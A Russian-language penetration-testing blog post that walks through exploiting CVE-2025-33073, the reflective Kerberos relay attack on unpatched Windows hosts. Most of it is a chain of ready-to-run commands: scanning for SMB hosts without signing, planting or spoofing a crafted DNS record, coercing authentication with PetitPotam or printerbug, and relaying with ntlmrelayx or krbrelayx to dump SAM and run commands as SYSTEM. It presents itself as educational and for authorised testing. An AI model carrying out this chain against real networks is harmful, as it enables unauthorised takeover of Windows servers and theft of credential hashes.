Всем привет. Решил написать об относительно новой и достаточно нашумевшей уязвимости, а именно CVE-2025-33073, получившей от исследователей неофициальное название The Reflective Kerberos Relay Attack. От коллег в сообществе доводилось слышать, что это ни много ни мало "новый ms17-010", поэтому захотелось разобрать эту уязвимость, что называется, in the wild.

Естественно, эта статья носит исключительно образовательный и ознакомительный характер, все действия следует воспроизводить в изолированной среде или с согласия заказчика.

Теория

Сразу оговорюсь, в данной статье не буду рассматривать глубокую теорию и погружаться в то, что вы можете самостоятельно узнать из первоисточников. Впервые я услышал об этой уязвимости от исследователей из Synacktiv, также подробно и интересно о ней можно почитать по ссылке. Я же постараюсь описать именно практическое применение, эксплуатацию и возникающие у меня при этом проблемы.

Если максимально коротко описать принцип атаки, то он заключается в том, что мы принудительно заставляем Windows-хост подключиться к нашей атакующей системе по протоколу SMB и пройти аутентификацию по протоколу Kerberos. Билет Kerberos затем ретранслируется обратно на тот же хост по тому же протоколу SMB. Самое интересное начинается тогда, когда вместо низко привилегированного SMB-сеанса с привилегиями машинной учётной записи, мы получаем привилегии NT AUTHORITY\SYSTEM, достаточные для выполнения произвольных команд.

Данная уязвимость не работает в Windows 11 и Windows Server 2025, а также если установлены необходимые патчи.

Шаг 1. Хосты без SMB-signing

Тут все просто. Чтобы ретранслироваться на SMB, самое главное, что нам нужно - отсутствие подписи SMB-сообщений. Ищем:

netexec smb <ip_addr>/24 --gen-relay-list smb_targets.txt

Либо любимый nmap:

nmap -sVC -p 445 srv-1c-upp.mydomain.local
Результат работы утилиты nmap
Результат работы утилиты nmap

Здесь нам важна строчка "Message signing enabled but not required". С целями определились.

Шаг 2. Добавление DNS-записи

Kerberos оперирует доменными именами, поэтому нам необходимо добавить нужную DNS-запись типа A для подконтрольной машины и заставить аутентифицироваться на ней нашу цель.

По умолчанию каждый пользователь Active Directory имеет права на добавление DNS-записей, заодно и проверим. Кстати, если такая возможность есть, не забудем отразить это как недостаток в нашем отчете.

В Linux используем krbrelayx:

python3 dnstool.py -u 'mydomain.local\attacker' -p Qwerty123 -a add -r srv-1c-upp1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_ip> <dc_ip> --tcp

Если у нас несколько доменов или несколько DNS-серверов, добавляем флаг --forest.

Однако, таким способом добавить DNS-запись у меня не получилось, вероятно, данный инструмент блокировался антивирусным программным обеспечением сервера.

Не успех. Еще и забанился IP-адрес :(
Не успех. Еще и забанился IP-адрес :(

Пришлось использовать альтернативу под Windows, которая сошла за легитимную:

runas /netonly /u:mydomain.local\attacker powershell.exe
Import-Module  D:\FOLDER\Powermad-master\Powermad.psm1
Invoke-DNSUpdate -DNSType A -DNSName SRV-1C-UPP1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -DNSData <attacker_ip>
Успешное добавление DNS-записи
Успешное добавление DNS-записи

Через некоторое время проверим, что DNS-запись добавлена, и SRV-1C-UPP1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA резолвится в наш IP-адрес:

nslookup SRV-1C-UPP1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.mydomain.local

Если все отлично, переходим к шагу 3. Но здесь можно столкнуться с первыми сложностями. Лично у меня они возникали по следующим причинам:

  • отсутствуют права у пользователя на добавление DNS-записей

  • групповые политики и антивирус

  • DNS-сервер не Windows-система

  • DNS-сервер настроен не на DC

Все это можно обойти, мы же попробуем рассмотреть случай со спуфингом DNS-записи. Здесь нам поможет утилита pretender:

./pretender -i eth0 --spoof 'SRV-1C-UPP1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' --no-dhcp-dns --no-timestamp
Внимание, работает pretender
Внимание, работает pretender

Не забываем, что данный способ работает только в пределах одного широковещательного домена.

Шаг 3. Релеим

Настройка DNS завершена. Запускаем ntlmrelayx: SMB-listener на 445 порту, который будет ретранслировать входящую попытку аутентификации. В качестве цели для пересылки указана служба SMB на нашем srv-1c-upp.

impacket-ntlmrelayx -t srv-1c-upp.mydomain.local -smb2support

Если все сработает, сдампим SAM.

Проводим принудительную аутентификацию на самого себя:

python3 PetitPotam.py -u attacker -p Qwerty123 -d mydomain.local 'srv-1c-up1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' 'srv-1c-upp.mydomain.local'
Принудительная аутентификация
Принудительная аутентификация

В терминале с ntlmrelayx получаем SAM с целевого сервера

Есть пробитие!
Есть пробитие!

Можно также получить интерактивную сессию SMB-клиента, добавив флаг -i

Запустим nc и исследуем файловую систему сервера
Запустим nc и исследуем файловую систему сервера

Также для релея можно использовать уже упомянутый ранее krbrelayx. Передаем билет обратно srv-1c-upp и в качестве примера выполним команду на целевой системе после успешной ретрансляции с правами SYSTEM.

python3 krbrelayx.py -t smb://srv-1c-upp.mydomain.local -debug -c 'cmd /c "whoami /all & hostname & ipconfig"'
python3 printerbug.py 'mydomain.local/attacker:Qwerty123@srv-1c-upp.mydomain.local' srv-1c-upp1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Теперь входящее соединение ретранслируется krbrelayx обратно на srv-1c-upp, и указанные команды выполняются на srv-1c-upp с привилегиями SYSTEM.

В итоге для успешной атаки нам необходимо выполнение следующих условий:

  • пользовательская учетная запись домена

  • сетевой доступ к 445 порту атакуемого хоста и обратно

  • отсутствие подписи SMB

  • возможность добавления DNS-записей (либо spoofing DNS-записей в пределах широковещательного домена)

Кстати, PoC-эксплоит, где все выполняется в 1-2 команды (ну, как мы любим) уже можно найти на Github.

Всем спасибо за внимание!

Комментарии (0)